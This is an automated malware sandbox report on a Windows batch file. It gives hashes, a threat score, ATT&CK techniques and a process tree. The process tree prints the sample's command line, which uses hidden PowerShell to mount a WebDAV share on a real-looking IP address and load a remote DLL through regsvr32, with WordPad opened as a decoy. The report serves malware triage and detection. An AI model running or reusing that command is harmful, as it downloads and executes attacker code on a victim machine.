f8e1a9f0269e0d713e21093907c8f22f0952cab27e8108cf6f18e9bc64a55083

Analysis

max time kernel
101s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
21-07-2024 18:07

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General

Target

284915581144748189.bat
Size

12KB
MD5

0fe43ae42fb59b9bc7f24401569e9cf3
SHA1

06baa09bfabd5a28d2b044bb050ab5d4d0d3296e
SHA256

f8e1a9f0269e0d713e21093907c8f22f0952cab27e8108cf6f18e9bc64a55083
SHA512

fe16780a0943ecd2b90b213738966ebb040325081e01b1ef137a95171482c2575a7dbb0c885246ab651203a1484ce9787ad994359004f539ebb911edbf64cead
SSDEEP

384:DdnvA8a4KWvFCAA6QtPVMz8yIGLF5sGizju4DevBSctbhCAcE3:JnvA8a4Q36QhVi8XGL3sAMen1hQA

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2768	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2768	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2768	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1072	wordpad.exe
1072	wordpad.exe
1072	wordpad.exe
1072	wordpad.exe
1072	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 1072	2328	cmd.exe	31
PID 2328 wrote to memory of 1072	2328	cmd.exe	31
PID 2328 wrote to memory of 1072	2328	cmd.exe	31
PID 2328 wrote to memory of 2768	2328	cmd.exe	32
PID 2328 wrote to memory of 2768	2328	cmd.exe	32
PID 2328 wrote to memory of 2768	2328	cmd.exe	32
PID 2768 wrote to memory of 2784	2768	powershell.exe	34
PID 2768 wrote to memory of 2784	2768	powershell.exe	34
PID 2768 wrote to memory of 2784	2768	powershell.exe	34
PID 2768 wrote to memory of 2656	2768	powershell.exe	35
PID 2768 wrote to memory of 2656	2768	powershell.exe	35
PID 2768 wrote to memory of 2656	2768	powershell.exe	35
PID 2768 wrote to memory of 2656	2768	powershell.exe	35
PID 2768 wrote to memory of 2656	2768	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\284915581144748189.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2328
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\301947553895.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2784
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\301947553895.dll
    3⤵
    PID:2656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2768-23-0x000000001B190000-0x000000001B472000-memory.dmp

Filesize
2.9MB

Download
memory/2768-24-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download